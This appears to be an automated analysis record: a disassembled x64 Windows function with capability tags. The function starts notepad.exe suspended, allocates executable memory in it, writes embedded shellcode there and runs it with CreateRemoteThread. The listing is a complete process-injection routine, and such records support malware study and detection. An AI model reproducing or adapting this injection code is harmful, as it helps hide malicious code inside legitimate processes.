Function at 0x401011
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x138
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rcx, [rsp + 0x100]
mov qword [rcx], rax
lea rsi, [rsp + 0x50]
mov qword [rsi], rcx
lea r12, [0x00401800]
mov qword [rsi + 8], r12
lea rdx, str.___Running_in_x64_process_n
mov r8d, 0x1b
mov rcx, rsi
call fcn.00401902
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov r13, qword [rax + 0x28]
xorps xmm0, xmm0
movups xmmword [rsi + 8], xmm0
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsi], rax
movups xmm0, xmmword [0x00403050]
movups xmmword [rsi + 0x18], xmm0
lea rcx, [rsp + 0x50]
mov edx, 0xc
call fcn.00401a3d
test ax, ax
jne 0x401321
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
lea rsi, [rcx + 8]
mov qword [rsp + 0x88], rsi
movaps xmm0, xmmword [str.notepad.]
movups xmmword [rax + rcx*2], xmm0
xor eax, eax
lea rbp, str.notepad.exe
lea rdx, [0x0040319e]
movabs r8, 0x8fbf9fbfbf
movabs r9, 0x809080a080
cmp rax, 3
jae 0x4011d6
movzx r10d, byte [rax + rbp + 8]
mov ecx, 1
test r10b, r10b
js 0x401149
add rax, rcx
jmp 0x40112a
movzx ecx, byte [r10 + rdx]
cmp rcx, 0xf1
je 0x401314
mov r10d, ecx
and r10d, 7
lea r11, [rax + r10]
cmp r11, 3
ja 0x401314
shr cl, 1
and cl, 0x78
mov r11, r8
shr r11, cl
mov rdi, r9
shr rdi, cl
mov cl, byte [rax + rbp + 9]
cmp cl, dil
jb 0x401314
cmp cl, r11b
ja 0x401314
movzx ecx, r10b
cmp cl, 2
je 0x401144
cmp ecx, 3
jne 0x4011b6
mov ecx, 3
cmp byte [rax + rbp + 0xa], 0xbf
jle 0x401144
jmp 0x401314
cmp byte [rax + rbp + 0xa], 0xbf
jg 0x401314
mov ecx, 4
cmp byte [rax + rbp + 0xb], 0xbf
jle 0x401144
jmp 0x401314
xor edi, edi
lea rbx, [rsp + 0x50]
lea r14, [rsp + 0x80]
cmp rdi, 2
ja 0x401211
lea r15, [rdi + rbp]
add r15, 8
mov dl, byte [r15]
lea rcx, [rsp + 0xb0]
call fcn.00401f73
movzx r8d, byte [rsp + 0xb2]
add rdi, r8
jmp 0x401217
xor r15d, r15d
xor r8d, r8d
test r15, r15
je 0x4012f8
mov rcx, rbx
mov rdx, r15
call fcn.00401ad4
movzx eax, word [rsp + 0x50]
movzx r15d, byte [rsp + 0x52]
and r15d, 0x1f
shl r15d, 0x10
or r15d, eax
cmp r15d, 0xffff
ja 0x401287
inc rsi
mov rcx, r14
mov rdx, rsi
call fcn.00401fc6
test ax, ax
jne 0x401314
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
lea rsi, [rcx + 1]
mov qword [rsp + 0x88], rsi
mov word [rax + rcx*2], r15w
jmp 0x4011e5
add rsi, 2
setb al
setb byte [rsp + 0x50]
setb byte [rsp + 0xb0]
test al, al
jne 0x401314
mov rcx, r14
mov rdx, rsi
call fcn.00401fc6
test ax, ax
jne 0x401314
lea eax, [r15 + 0x1f0000]
shr eax, 0xa
or eax, 0xd800
and r15d, 0x3ff
or r15d, 0xdc00
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
lea rsi, [rdx + 2]
mov qword [rsp + 0x88], rsi
shl r15d, 0x10
or r15d, eax
mov dword [rcx + rdx*2], r15d
jmp 0x4011e5
inc rsi
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.00401a3d
test ax, ax
je 0x401748
lea rcx, [rsp + 0x80]
call fcn.004019f4
lea rax, [0x00405068]
mov qword [rsp + 0x48], rax
lea rax, [section..data]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
and dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessW
mov esi, dword [0x00405078]
lea rax, [rsp + 0x108]
mov qword [rax], r13
lea rcx, [rsp + 0xe0]
mov qword [rcx], rax
mov qword [rcx + 8], r12
lea rdx, str.___Target_Process:_any_n
mov r8d, 0x14
call fcn.00401902
lea r14, [0x004032a5]
test ax, ax
jne 0x401434
mov r8d, 0x20
mov ecx, 0x64
cmp esi, 0x64
jb 0x4013c9
mov eax, esi
xor edx, edx
div ecx
movzx edx, word [r14 + rdx*2]
mov word [rsp + r8 + 0x4f], dx
add r8, 0xfffffffffffffffe
mov esi, eax
jmp 0x4013ab
cmp esi, 9
ja 0x4013d9
or sil, 0x30
mov byte [rsp + r8 + 0x50], sil
jmp 0x4013e9
mov eax, esi
movzx eax, word [r14 + rax*2]
mov word [rsp + r8 + 0x4f], ax
dec r8
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x21
sub rdx, r8
lea r8, [0x00403168]
lea r9, [rsp + 0xe0]
call fcn.00401ff7
test ax, ax
jne 0x401434
movups xmm0, xmmword [rsp + 0xe0]
lea rcx, [rsp + 0x50]
movaps xmmword [rcx], xmm0
lea rdx, [0x00403101]
mov r8d, 1
call fcn.00401902
mov r8d, dword [0x00405078]
mov ecx, 0x1fffff
xor edx, edx
call sub.KERNEL32.dll_OpenProcess
mov rsi, rax
lea rax, [rsp + 0x110]
mov qword [rax], r13
lea rcx, [rsp + 0xf0]
mov qword [rcx], rax
mov qword [rcx + 8], r12
lea rdx, str.___pHandle:_any_n
mov r8d, 0xd
call fcn.00401902
test ax, ax
jne 0x4014b9
lea rdx, [0x00403168]
lea r8, [rsp + 0xf0]
mov rcx, rsi
call fcn.00401e30
test ax, ax
jne 0x4014b9
movups xmm0, xmmword [rsp + 0xf0]
lea rcx, [rsp + 0x50]
movaps xmmword [rcx], xmm0
lea rdx, [0x00403115]
mov r8d, 1
call fcn.00401902
mov dword [rsp + 0x20], 0x40
mov r8d, 8
mov rcx, rsi
xor edx, edx
mov r9d, 0x1000
call sub.KERNEL32.dll_VirtualAllocEx
mov rdi, rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
lea r8, [0x00403030]
mov r9d, 8
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_WriteProcessMemory
mov ebx, eax
lea rax, [rsp + 0x118]
mov qword [rax], r13
lea rcx, [rsp + 0xc0]
mov qword [rcx], rax
mov qword [rcx + 8], r12
lea rdx, str.___WriteProcessMemory:_any_n
mov r8d, 0x18
call fcn.00401902
test ax, ax
jne 0x4015d8
mov eax, ebx
neg eax
cmovs eax, ebx
mov r8d, 0x20
mov ecx, 0x64
cmp eax, 0x64
jb 0x401562
xor edx, edx
div ecx
movzx edx, word [r14 + rdx*2]
mov word [rsp + r8 + 0x4f], dx
add r8, 0xfffffffffffffffe
jmp 0x401548
cmp eax, 9
ja 0x401570
or al, 0x30
mov byte [rsp + r8 + 0x50], al
jmp 0x401580
mov eax, eax
movzx eax, word [r14 + rax*2]
mov word [rsp + r8 + 0x4f], ax
dec r8
test ebx, ebx
jns 0x40158d
mov byte [rsp + r8 + 0x4f], 0x2d
dec r8
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x21
sub rdx, r8
lea r8, [0x00403168]
lea r9, [rsp + 0xc0]
call fcn.00401ff7
test ax, ax
jne 0x4015d8
movups xmm0, xmmword [rsp + 0xc0]
lea rcx, [rsp + 0x50]
movaps xmmword [rcx], xmm0
lea rdx, [0x00403134]
mov r8d, 1
call fcn.00401902
mov rbx, qword [rsp + 0xd8]
lea rax, [rsp + 0x120]
mov qword [rax], r13
lea rcx, [rsp + 0xb0]
mov qword [rcx], rax
mov qword [rcx + 8], r12
lea rdx, str._______bytes_written:_any_n
mov r8d, 0x17
call fcn.00401902
test ax, ax
jne 0x40164f
lea rdx, [0x00403168]
lea r8, [rsp + 0xb0]
mov rcx, rbx
call fcn.00401e30
test ax, ax
jne 0x40164f
movups xmm0, xmmword [rsp + 0xb0]
lea rcx, [rsp + 0x50]
movaps xmmword [rcx], xmm0
lea rdx, [0x00403152]
mov r8d, 1
call fcn.00401902
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, rdi
call sub.KERNEL32.dll_CreateRemoteThread
mov rdi, rax
lea rax, [rsp + 0x128]
mov qword [rax], r13
lea rcx, [rsp + 0x80]
mov qword [rcx], rax
mov qword [rcx + 8], r12
lea rdx, str.___tHandle:_any_n
mov r8d, 0xd
call fcn.00401902
test ax, ax
jne 0x4016e2
lea rdx, [0x00403168]
lea r8, [rsp + 0x80]
mov rcx, rdi
call fcn.00401e30
test ax, ax
jne 0x4016e2
movups xmm0, xmmword [rsp + 0x80]
lea rcx, [rsp + 0x50]
movaps xmmword [rcx], xmm0
lea rdx, [0x00403166]
mov r8d, 1
call fcn.00401902
lea rax, [rsp + 0x130]
mov qword [rax], r13
lea rcx, [rsp + 0x50]
mov qword [rcx], rax
mov qword [rcx + 8], r12
lea rdx, str.___Injected_n
mov r8d, 0xd
call fcn.00401902
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [0x00405070]
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [0x00405068]
call sub.KERNEL32.dll_CloseHandle
nop
add rsp, 0x138
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
lea rbx, [rax + 1]
mov qword [rsp + 0x88], rbx
and word [rsi + rax*2], 0
movups xmm0, xmmword [rsp + 0x98]
lea rcx, [rsp + 0xc0]
movaps xmmword [rcx], xmm0
mov rdx, rsi
mov r8, rdi
mov r9, rbx
call fcn.00401ea2
test al, 1
jne 0x401321
lea r14, [rsp + 0x50]
lea rdx, [rsp + 0xc0]
mov rcx, r14
mov r8, rbx
call fcn.00401efd
cmp word [r14 + 0x10], 0
jne 0x401314
lea r14, [rsp + 0x98]
mov rbx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
add r8, r8
mov rcx, rbx
mov rdx, rsi
call fcn.00402344
movups xmm0, xmmword [r14]
lea rcx, [rsp + 0xb0]
movaps xmmword [rcx], xmm0
mov rdx, rsi
mov r8, rdi
call fcn.00401de7
mov rsi, rbx
jmp 0x401321